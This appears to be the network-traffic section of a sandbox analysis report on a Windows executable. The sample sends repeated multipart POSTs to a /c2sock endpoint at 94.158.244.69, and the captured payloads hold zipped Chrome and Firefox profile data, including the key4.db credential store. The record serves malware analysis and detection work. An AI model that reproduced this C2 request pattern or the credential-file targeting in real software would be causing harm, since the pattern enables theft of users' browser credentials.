Nov 13, 2024 10:53:01.621473074 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.621557951 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.669476032 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.669579983 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.721515894 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.721662045 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.773514032 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.773643970 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.825587988 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.825771093 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.873554945 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.873677969 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.921413898 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.921581984 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.969419956 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.969634056 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.017484903 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.017602921 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.069408894 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.069562912 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.121418953 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.121474981 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.169405937 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.169481993 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.221631050 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.221688986 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.269370079 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.269500971 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.317462921 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.317629099 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.365457058 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.365550041 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.413546085 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.413662910 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.461529016 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.461642981 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.509419918 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.509521961 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.561386108 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.561510086 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.609699965 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.609797001 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.657543898 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.657614946 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.705400944 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.705554008 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:02.706746101 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:02.710511923 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:03.004311085 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:03.009424925 CET	80	50011	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:03.009517908 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:03.009649038 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:03.010031939 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:03.015068054 CET	80	50011	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:03.015404940 CET	80	50011	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:11.490643024 CET	80	50011	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:11.490787029 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.490865946 CET	50011	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.495692968 CET	80	50011	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:11.774096012 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.779071093 CET	80	50012	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:11.779155970 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.779273987 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.779647112 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:11.784120083 CET	80	50012	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:11.784761906 CET	80	50012	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:20.255753040 CET	80	50012	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:20.255944967 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.255944967 CET	50012	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.260782003 CET	80	50012	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:20.667278051 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.672370911 CET	80	50013	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:20.672472954 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.672610998 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.672972918 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:20.677437067 CET	80	50013	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:20.677766085 CET	80	50013	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:29.154710054 CET	80	50013	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:29.154804945 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.154872894 CET	50013	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.159842014 CET	80	50013	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:29.411429882 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.417093039 CET	80	50014	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:29.417304039 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.417304039 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.418088913 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:29.422947884 CET	80	50014	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:29.423002005 CET	80	50014	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:37.908978939 CET	80	50014	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:37.909183979 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:37.909183979 CET	50014	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:37.914283037 CET	80	50014	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:38.175916910 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:38.221759081 CET	80	50015	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:38.221930981 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:38.222455978 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:38.223850965 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:38.227410078 CET	80	50015	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:38.228759050 CET	80	50015	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:46.703774929 CET	80	50015	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:46.703990936 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.703990936 CET	50015	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.709033012 CET	80	50015	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:46.983675957 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.989391088 CET	80	50016	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:46.989481926 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.989612103 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.989995003 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:46.994539976 CET	80	50016	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:46.994981050 CET	80	50016	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:55.471035004 CET	80	50016	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:55.471169949 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:55.471215963 CET	50016	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:55.476258039 CET	80	50016	94.158.244.69	192.168.2.4

HTTP Request Dependency Graph

94.158.244.69

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:51:51.037914038 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 24083 Host: 94.158.244.69
Nov 13, 2024 10:51:51.038527966 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:51:51.046231985 CET	1236	OUT	Data Raw: a7 f7 5d 0a 65 dc 0b 9d ea fe a0 1c a8 b5 3b 5b 56 db a0 3d d6 96 b5 a3 58 a6 d2 a2 bd 87 6e b2 2e b1 ad 2b f4 31 aa ab f4 a9 dc 7d a4 03 6d b6 4a 22 86 df b6 ba a3 0c 89 72 69 1f 44 a7 3c 6a 55 a7 ad e6 2a ed dc 0c ad 6d a8 c1 fe 62 ef d8 37 a2 Data Ascii: ]e;[V=Xn.+1}mJ"riD<jU*mb7N3x7WT~v5E;.U2;A:`joznP^2C_%Dw=s56sNMjj[;)fD;H.g^&qKc[z38-zOhk4i`
Nov 13, 2024 10:51:51.046260118 CET	2472	OUT	Data Raw: 18 69 f8 fd 7f 00 00 00 00 00 00 80 d1 87 cf ff 01 00 00 00 00 00 00 46 1f e6 ff 00 00 00 00 00 00 00 a3 0f bf ff 0f 00 00 00 00 00 00 30 fa d8 e7 ff e9 89 97 b9 dc 2d e2 b7 73 ff 92 bd 9c 7b 78 e2 65 d1 c8 7e 83 03 00 00 00 00 00 b8 39 74 8e c7 Data Ascii: iF0-s{xe~9t-m9qe4u>YbmgZ6nCwdC5mAmugKrUwe^5"/U9Uf<.rIZH^>NvxldZw&2O$9+l
Nov 13, 2024 10:51:51.046351910 CET	4944	OUT	Data Raw: a2 13 47 a5 35 3b ea 92 ae 4e 2c ad aa b2 c2 eb 66 5d a5 46 c4 57 5d dd ec f1 0a e5 3b 72 63 31 0d c5 21 7b a1 6c 6d 42 3a c9 47 63 7c bf ab be 92 34 ee f0 2e 2a 50 68 39 ef 8a 52 a9 94 39 d8 3e e4 1b 52 ab 99 6e db 77 a6 d2 eb 23 b2 37 ee fd 44 Data Ascii: G5;N,f]FW];rc1!{lmB:Gc\|4.Ph9R9>Rnw#7D_Q][.oaP}Bq_dW"eTic$\|;Yowg:aGcw^k^#95>^NRfuu!@W>y8Uc
Nov 13, 2024 10:51:51.046381950 CET	4307	OUT	Data Raw: 4f 7f 94 45 2c ea 72 8d 0e 67 1f 70 99 92 31 3c 2f 70 2f 87 1e b3 d7 b7 59 4c a6 be ed 9c 70 a8 a9 b5 3b 25 40 b6 ec 9d 61 73 fe 8b 20 97 b5 2d d8 9e 0e f4 e8 f3 5b 48 27 d6 fc b6 f9 ae 01 f6 81 59 c7 4b 8f 3c ab 60 d6 20 a9 ab 70 89 cb 56 2f 1f Data Ascii: OE,rgp1</p/YLp;%@as -[H'YK<` pV/Y%%nS>:i]TTf_,XxQw'Fscxf\|m7-8+Tyr]Ej[_'wh7g2I]M iz
Nov 13, 2024 10:51:51.069289923 CET	1236	OUT	Data Raw: 0d 38 99 b5 6d a1 3a 25 77 58 29 23 37 88 da 80 cc 6f 16 9f e0 3b e2 bf 05 5c 55 6f ba 77 45 ca 0e ad d2 20 0d 0c 60 ea 4b 3c 6d 87 74 3c 16 f0 af 20 31 81 2a 1c c0 8e 26 83 9a cc c4 8f 7c f1 e9 47 53 fb fe 0f 7c af 16 d1 b8 1e bc 00 50 4b 07 08 Data Ascii: 8m:%wX)#7o;\UowE `K<mt< 1*&\|GS\|PKXLPKy&mY(Chrome/Default/BrowserDB/MANIFEST-000001)\|"leveldb.BytewiseComparatorPKP{.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49743	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:00.026247025 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 11665 Host: 94.158.244.69
Nov 13, 2024 10:52:00.026686907 CET	11665	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49793	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:08.984435081 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:08.984817982 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49844	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:17.973020077 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:17.973377943 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49895	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:26.710982084 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:26.711991072 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49944	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:36.046396017 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 20373 Host: 94.158.244.69
Nov 13, 2024 10:52:36.046822071 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:52:36.051237106 CET	1236	OUT	Data Raw: da 3d 59 5d 79 cd 7a 71 72 3a 1e ee da 91 77 df 00 ba ee 61 ad 56 46 47 1f 7a 7b 66 e4 f4 9e ad ce b6 ee 91 b5 4f b4 ee 94 5b 97 53 6f cb 8e 8c ef eb de 3f 56 b2 2e 94 a2 65 6e 6f 8f bd b3 6e d9 74 21 f7 a9 d9 b9 98 d7 65 e7 77 b6 5e 5b a5 46 97 Data Ascii: =Y]yzqr:waVFGz{fO[So?V.enont!ew^[FS7o=Zuw1}FO"#7eGZBnPW3%[*4z~oxQ+IiP\|;vWhh_>wIz]G_{>6=>
Nov 13, 2024 10:52:36.051898956 CET	2472	OUT	Data Raw: 2c 4c 2e 14 67 4a cd 85 07 57 d2 f6 cc 14 eb e7 1a d5 c5 f7 c7 59 f5 6a b3 36 5d 7c 70 aa 5a 3d b7 50 a8 9d ab ef 69 54 ab e5 a9 42 ad 95 39 5d 58 58 2c 94 e6 2a 0f 56 8a 17 f7 34 eb c5 5a bd 9d 5c ad 34 8a 95 c6 83 7b e6 ca d5 a9 42 79 e3 61 4c Data Ascii: ,L.gJWYj6]\|pZ=PiTB9]XX,V4Z\4{ByaLLoN=zKny\#[ozqTQ4E{\|vW?7vallj/->~#w--`2X~.@W{oMntZQ3i?S
Nov 13, 2024 10:52:36.052175999 CET	2472	OUT	Data Raw: 9f 84 ff 39 fc f7 e1 6f 87 ff 32 fc 47 e1 af 84 61 58 8b 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 ff 96 6d a9 4c 22 c8 64 5e 0e 0f bc 3e bf 6d 35 72 df 2b 8b 37 74 47 86 ba 23 b9 ee c8 60 Data Ascii: 9o2GaX2mL"d^>m5r+7tG#`w$Y<H;$oHerP<@7O__+~nNH?s_{gL.?~!N:x#>pt8thTyl2vz
Nov 13, 2024 10:52:36.052908897 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 10:52:36.053034067 CET	597	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PKD)PPK&mY(0Mozilla Firefox/fqs92o4p.default-release/key4.dbPK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49991	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:45.027837992 CET	189	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 1135 Host: 94.158.244.69
Nov 13, 2024 10:52:45.028214931 CET	1135	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50010	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:54.232328892 CET	191	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 575172 Host: 94.158.244.69
Nov 13, 2024 10:52:54.232878923 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:52:54.237184048 CET	1236	OUT	Data Raw: fc 9c cb aa ad e5 f2 4a 6b 69 f5 f7 67 64 f5 df 2a 36 59 e7 71 5c 24 ab 2e 2d fe 4c f9 a9 a6 86 fe c6 a1 94 95 97 88 fc b5 b5 ac b8 b8 bb 59 fe 97 6e a7 ea cd b2 3f 57 4a cf d2 0b 45 fe 54 6d 2d 17 d4 6c 9e fb 63 b5 2d 79 f6 0f 95 e6 f2 fb 6a 22 Data Ascii: Jkigd*6Yq\$.-LYn?WJETm-lc-yj"\<}~<3UZ_RxgT3+QMWiDR+EVY'tfO+'(_53yJz~XK[H-5?TI{\UO
Nov 13, 2024 10:52:54.237996101 CET	4944	OUT	Data Raw: 7d 1e b7 3a 59 ff 87 eb ae ba 40 f8 1f 8c 10 f7 e2 b9 86 2d 8e 4c 18 1e 77 3c 9e ac 5a 41 6e 87 dc fb c8 eb e8 15 4e 47 e6 47 76 47 ef a7 ee b3 71 74 0d ae 47 35 7d a8 19 e4 75 7d fc f3 e0 84 bc 86 90 db 61 af fb 5f d1 fa c0 22 f5 82 ea 7f ed 8b Data Ascii: }:Y@-Lw<ZAnNGGvGqtG5}u}a_"_{7ox_uOOOOOOIe+RMCFD`X)ql?s9a?f~d1c6 _`3@x`~6\|
Nov 13, 2024 10:52:54.238018036 CET	4944	OUT	Data Raw: b1 d7 42 f7 b3 d6 b7 4f f2 98 5c cf ee 01 61 06 48 b6 87 5c bf 47 25 f2 3f 3a 86 ff 45 56 e8 e8 ff e5 33 01 5d 06 08 ef e3 7d c2 d8 fd c1 cd 0f b5 81 f0 3f e9 7b 38 c6 b5 eb 76 ab da f0 73 d2 06 65 1f b0 ab 3f 57 d6 f3 f1 9e 5d 5e df c7 9d cf 57 Data Ascii: BO\aH\G%?:EV3]}?{8vse?W]^W'SKe~Y5^R5zGOeSk`P?~3?L?~}e}%]\|_Z/>X 7\|ty/s
Nov 13, 2024 10:52:54.238042116 CET	7416	OUT	Data Raw: d4 ff 51 9f f0 f4 fd 47 3b 8d 8f 1b a0 b4 41 5c 73 f5 08 c7 ea 05 d9 fe 0e 99 ba 09 8e 8a fc 0f 36 88 ba 3e de e7 1b ef 19 4e fa 1f df f3 cb fd 8f f7 f9 f2 c8 7a 3f d9 1b 8c fa 41 cc ea 23 ab a3 3e 5d 98 1d 8c 0f b5 80 e4 7f f0 3d be 17 98 6c 0f Data Ascii: QG;A\s6>Nz?A#>]=l}0?{1l_)yTZ\Hy39&kz2c:o5cnu\_svUVW6?&\|M(
Nov 13, 2024 10:52:54.238068104 CET	4944	OUT	Data Raw: cc c8 93 bf ae d4 93 65 83 bf ac d5 93 d1 03 9c e5 7f ad 7a 60 33 fe 97 af 2e d0 ed 83 cd f6 ff 92 e5 3d 7a 6a 25 4a 33 fe 57 bc 07 38 99 c5 3f ab b0 94 e0 81 3f a9 45 c9 ac 05 e4 2e f8 e3 4a 3d 65 59 20 d9 1f 7b 7d 24 78 95 79 98 5c 50 a6 14 03 Data Ascii: ez`3.=zj%J3W8??E.J=eY {}$xy\PWYxR,N,#}AXakj<wY_Z\.`Rk*w_uf+\|i;rx(>0}QLrK=K@}oz=_"<}U2
Nov 13, 2024 10:52:54.242171049 CET	2472	OUT	Data Raw: b7 3e a7 0b f6 a8 ff 65 a6 0d fe 17 33 c0 1e f3 bf c2 06 38 84 fd 2f 8f 01 76 db ff bc 06 a8 fe a7 fe a7 fe d7 5a fd 5f 8b fe 67 a3 fe d7 b2 ff 49 fb 73 1a 60 97 fc cf 55 eb 57 c8 ff 8e 1a 8c 0c 30 d1 db 7b 58 2d d3 02 e7 1d 31 d2 6b 7f 74 2d ab Data Ascii: >e38/vZ_gIs`UW0{X-1kt-.#2:<7x/fD/z\|~LGgN}"ktk,@[Ocr>{?X >#jR(_r=\|+RM ?/svp'
